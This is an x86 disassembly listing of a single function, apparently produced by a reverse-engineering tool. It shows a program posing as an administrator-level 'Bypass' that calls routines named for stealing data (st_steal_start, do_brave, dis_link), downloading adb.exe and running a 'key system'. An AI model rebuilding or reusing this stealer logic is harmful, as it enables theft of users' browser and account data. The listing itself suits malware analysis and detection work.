Function at 0x4017d5
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x24c
mov dword [ebp - 0x224], sym.___gxx_personality_sj0
mov dword [ebp - 0x220], 0x48b66a
lea eax, [ebp - 0x21c]
lea ebx, [ebp - 0x18]
mov dword [eax], ebx
mov edx, 0x401a41
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x23c]
mov dword [esp], eax
call dbg._Unwind_SjLj_Register
mov dword [esp], 0x495003
mov dword [ebp - 0x238], 0xffffffff
call sym._system
mov dword [esp], str.color_4
call sym._system
call sym.IsElevated__
test eax, eax
sete al
test al, al
je 0x40187e
mov dword [esp + 0xc], 0x41010
mov dword [esp + 8], 0x4950a6
mov dword [esp + 4], str.Run_the_Bypass_as_Administrator
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov dword [esp], 1
call sym._exit
mov dword [ebp - 0x238], 0xffffffff
call sym.do_title__
mov dword [esp + 4], str.Initializing_Bypass....._n
mov dword [esp], 0x494140
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp + 4], str.wait.........._n
mov dword [esp], 0x494140
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], 0x1f4
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
call sym.do_brave__
call sym.dis_link__
call sym.st_steal_start__
lea eax, [ebp - 0x208]
mov dword [esp + 4], 8
mov dword [esp], str.C:Windows_adb.exe
mov ecx, eax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
sub esp, 8
lea eax, [ebp - 0x208]
add eax, 0x70
mov dword [ebp - 0x238], 1
mov ecx, eax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x401917
call sym.down_adb__
lea eax, [ebp - 0x110]
mov dword [esp + 4], 8
mov dword [esp], str.a.txt
mov dword [ebp - 0x238], 1
mov ecx, eax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
sub esp, 8
lea eax, [ebp - 0x110]
add eax, 0x70
mov dword [ebp - 0x238], 2
mov ecx, eax
call method.std::basic_ios_char__std::char_traits_char___.operator_void___const
test eax, eax
setne al
test al, al
je 0x4019a5
mov dword [esp], 0x495003
call sym._system
mov dword [esp + 4], str.Vip_mode_detected................._n
mov dword [esp], 0x494140
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], 0x4b0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
call sym.start_key_system__
mov dword [ebp - 0x240], 0
jmp 0x4019d8
mov dword [esp], 0x495003
mov dword [ebp - 0x238], 2
call sym._system
call sym.check_dis__
test eax, eax
sete al
test al, al
je 0x4019ce
call sym.link_get__
mov dword [ebp - 0x240], 1
lea eax, [ebp - 0x110]
mov ecx, eax
call fcn.0046e020
cmp dword [ebp - 0x240], 1
je 0x4019fa
mov dword [ebp - 0x240], 0
jmp 0x401a05
nop
mov dword [ebp - 0x240], 1
lea eax, [ebp - 0x208]
mov ecx, eax
call fcn.0046e020
cmp dword [ebp - 0x240], 1
je 0x401a1d
jmp 0x401a8b
nop
jmp 0x401a8b
lea eax, [ebp - 0x23c]
mov dword [esp], eax
call sym.__Unwind_SjLj_Unregister
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret